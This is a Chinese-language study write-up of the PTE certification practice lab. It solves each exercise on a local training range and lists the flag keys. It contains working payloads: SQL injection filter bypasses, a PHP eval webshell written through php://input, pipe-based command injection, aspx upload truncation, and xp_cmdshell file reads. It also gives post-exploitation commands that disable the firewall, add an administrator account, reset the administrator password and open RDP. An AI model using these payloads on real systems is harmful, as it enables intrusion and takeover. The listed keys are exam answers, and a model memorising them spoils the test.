PTE-靶场训练实战笔记
靶场搭建
靶场下载链接:
https://pan.baidu.com/s/1ce1Kk0hSYlxrUoRTnNsiKA?pwd=ha1x
vim /etc/sysconfig/network-scripts/ifcfg-eth0
设置好后reboot重启一下即可,然后访问81-85端口,共5题。
因为靶场出了问题,只能打开第一题,建议按照原网络环境去设置仅主机模式,原IP地址是172.16.12.100,虚拟机中的攻击机也可以配置同网段仅主机模式即可,问题不大。
pet-2003设置net模式就好了,发现用桥接模式扫描端口失败
基础题目之SQL注入
通过SQL注入漏洞读取/tmp/360/key文件,答案就在文件中
手工注入的话有点麻烦,它过滤了union,可以使用双写绕过,ununionion,空格可以用%0a(回车符)绕过,#号可以用编码%23进行绕过。
首先判断字段数
http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)%0aorder%0aby%0a5%23
order by到5就显示不正常,那么字段数就是4
然后就使用联合查询去注入
http://172.16.12.100:81/vulnerabilities/fu1.php?id=-1%27)%0aununionion%0aselect%0a1,load_file(%27/tmp/360/key%27),3,4%23
也可以使用sqlmap完成本题,因为有简单的过滤,可以使用自带的绕过脚本space2comment
sqlmap.py -u http://192.168.136.155:81/vulnerabilities/fu1.php?id=1 --level 5 --risk 3 --tamper=space2comment
ok了,得出存在布尔型注入以及延时注入
因为本题的flag在/tmp/360/key文件,那么我们直接进入到sql-shell,用查询语句获得flag
sqlmap.py -u http://192.168.136.155:81/vulnerabilities/fu1.php?id=1 --level 5 --risk 3 --tamper=space2comment --sql-shell
进入sql-shell以后,我们用load_file语句去读取文件
select load_file('/tmp/360/key');
得出key:8b3h4a7v
基础题目之文件上传突破
文件上传突破,需要绕过WAF过滤
上传一句话木马没反应,上传普通的图片是有显示上传成功
制作图片马:
copy /b tupian.jpg+shell.php 1ndex.jpg
上传后抓包改成php,没反应,应该是waf拦截
这时候绕过waf,可以改成php2,php3,php4等,发现2和4都能成功上传,当然蚁剑只有4的,那就用4连接
蚁剑测试连接成功
在html目录发现key
key2:8t5s0x5t
基础题目之文件包含
通过你所学到的知识,测试该网站可能存在的包含漏洞,尝试获取webshell,答案就在根目录下key.php文件中。
http://172.16.12.100:83/vulnerabilities/fu1.php?file=../../etc/passwd
说明是存在文件包含漏洞的。那么我们可以测试一下存不存在远程文件包含和本地文件包含
首先测试php://input,看可不可以用伪协议,有输出就说明可以用
然后试试远程文件包含第二题的一句话木马(去掉图片内容),好像不行
那么就剩下本地文件包含了,可以用伪协议写入
<?php fputs(fopen('a.php', 'w'),'<?php eval($_POST[anhunsec]); ?>'); ?>
连接成功
php://filter伪协议
?file=php://filter/convert.base64-encode/resource=../key.php
key:6u3x9t2p
基础题目之命令执行
通过你所学到的知识,通过执行Linux命令获取webshell,答案就在根目录下key.php文件中。
输入ip,他就可以执行ping命令
127.0.0.1 | id
127.0.0.1 | cat key.php
包含敏感字符,过滤了cat,
其实应该先找key文件在哪里,它过滤了ls,那么只能盲测,less是没有被过滤的,那么直接less key.php,看能不能显示出内容。
127.0.0.1 | less key.php
很显然,没有反应。
那么就切换到上一级目录
127.0.0.1 | less ../key.php
他有显示GET it,说明key文件是在上一级目录,那么怎么获取他的key呢?其实可以使用grep去查找带有key字样的内容
127.0.0.1 | grep 'key' ../key.php
key:3s9j6c2k
基础题目之日志分析
最近管理员很苦恼,发现自己的服务器被人入侵了,但是不知道原因,你能帮帮他吗?
管理员把日志保存下来了,大概分析了一下,有两个IP对服务器进行了攻击, 感觉攻击者的IP是 172.16.12.12 。
日志下载地址:当前目录下的 access.log
本题可以借助应急响应工具中的星图工具去分析。
当然考试当中可能没有日志分析工具,那么就只能一个个看啦!
那么题目提示说攻击者的IP是 172.16.12.12,那么就只要找这个IP的信息,当然攻击分析好像没发现什么,那么去看常规日志分析
发现访问比较多的是/adminlogin.php,那么我去访问一下
发现一个登陆页面,那么直接爆破就可以啦,注意,一般考试不会让你爆破很久,选字典的时候选少一点
根据返回的长度值,和其他不一样就说明密码是正确,并且返回的状态码是302跳转。那么账号密码就是admin | password123
key:9y6u8s5m
综合题-2003
已知IP地址是:192.168.1.119,端口范围在27000-28000
首先namp扫描端口
nmap -sS -T4 -p 27000-28000 192.168.136.136
扫描到27689端口开放,访问后是一个文件上传下载系统
还不知道账号密码,先扫描一波目录,当然最好使用多个工具互补扫描
发现存在robots.txt以及一个配置备份文件
有数据库的账号密码,直接用navcat去连接,是sql server的数据库
得到登陆账号和密码admin |asdadwn_d2112
key1
登陆后得到key1:4k3s9m3d
上传aspx马
然后进入文件上传功能,上传aspx的马。先正常上传shell.aspx,提示该文件不允许上传,文件名先改成.jpg格式上传
aspx木马可以用网站上的bbbbbbbb.aspx文件。
发现上传成功
点击管理上传文件,发现文件名jp后面去掉了g
经过多次测试,文件名达到8位字符时,就可以省略后面的jpg,因为页面中说了文件名过长会被系统截取包括系统时间在内的前32位字符作为文件名,请上传的文件名称不要过长.时间是18个字符,杠一个字符,.aspx5个字符,总共24字符,32-24=8,说明文件名要8位字符,才能把.jpg后面都被系统截断
随后就是找文件路径了,点击最下面上传的文件
发现它的上传路径是upfile/affix/
然后拼接一下webshell路径
http://192.168.136.136:27689/upfile/affix/638123235837656250-shelllll.aspx
key2
web根目录获得key2:2a3s9p4d
接下来就是进入系统桌面,但是发现权限不够
在web目录中,看到了web.config.back-2017-12-12文件,点开来刚好是sa权限的用户
key3
那么继续使用navcat去连接
连接后使用sql-server查询语句去查询系统文件
先看看桌面里有什么文件
exec xp_cmdshell 'dir "C:\Documents and Settings\Administrator\桌面"'
发现有个key,txt,接下来就读取一下就行了
exec xp_cmdshell 'type "C:\Documents and Settings\Administrator\桌面\key.txt"'
后面发现,在数据库中直接点击也可以发现key3值。
key3:4d9d3q8v
或者在蚁剑上关闭靶机防火墙,重置管理员密码,上传3389开启脚本,执行3389开启脚本,连接远程登录,进入靶机去桌面、垃圾桶里找key文件。
# win2003关闭防火墙命令
netsh firewall set opmode mode=disable
net user admin admin /add
net localgroup administrators admin /add
net user administrator 123456
综合题-2008
靶场:Windows Server 2008 R2 x64
修改靶场机IP:
IP为:192.168.209.139
认证爆破密码
看到phpstudy开启,浏览器访问上面IP,发现有访问认证:
尝试BP抓包,爆破:
发现Authorization认证,是base64加密,解密查看是:admin:admin
对密码进行爆破:
选择第四个工具方式,添加第一个变量:(admin:)、第二个变量(admin),Payloads:
Authorization: Basic YWRtaW46MTIzNDU2
解码是:(admin:123456)
key1
得到key值:
因为有认证,别的目录扫描工具已经不行了,要用BP抓取带有认证的数据包进行目录爆破:
发现字典路径有中文会报错,需要复制到英文路径下:
知道数据库后台登录页面,phpMyAdmin (root/root)
在dedecmsv56utf数据库中找到:dede\_admin
搜索知道dede的密码需要进行MD5编码,然后删除前五位和后七位的字母,字母小写:
修改好密码,登录前面的DEDECMS
(前面爆破出来的301状态码url:http://192.168.209.139/dede):
在模块->标签里找到php文件,写入一句话木马:
蚁剑添加认证信息
用蚁剑连的时候要注意,除了基础操作外,还需要添加认证信息:
连接成功:
key2
看到key2值:
关闭防火墙
输入命令,关闭靶机防火墙:
netsh firewall set opmode disable
添加用户和组
添加用户和组、以及修改管理员密码:
net user admin admin /add
net localgroup administrators admin /add
net user administrator 123456
上传开启3389脚本:
运行:
连接远程桌面:
key3
在垃圾桶中找到key3值,完成主机渗透。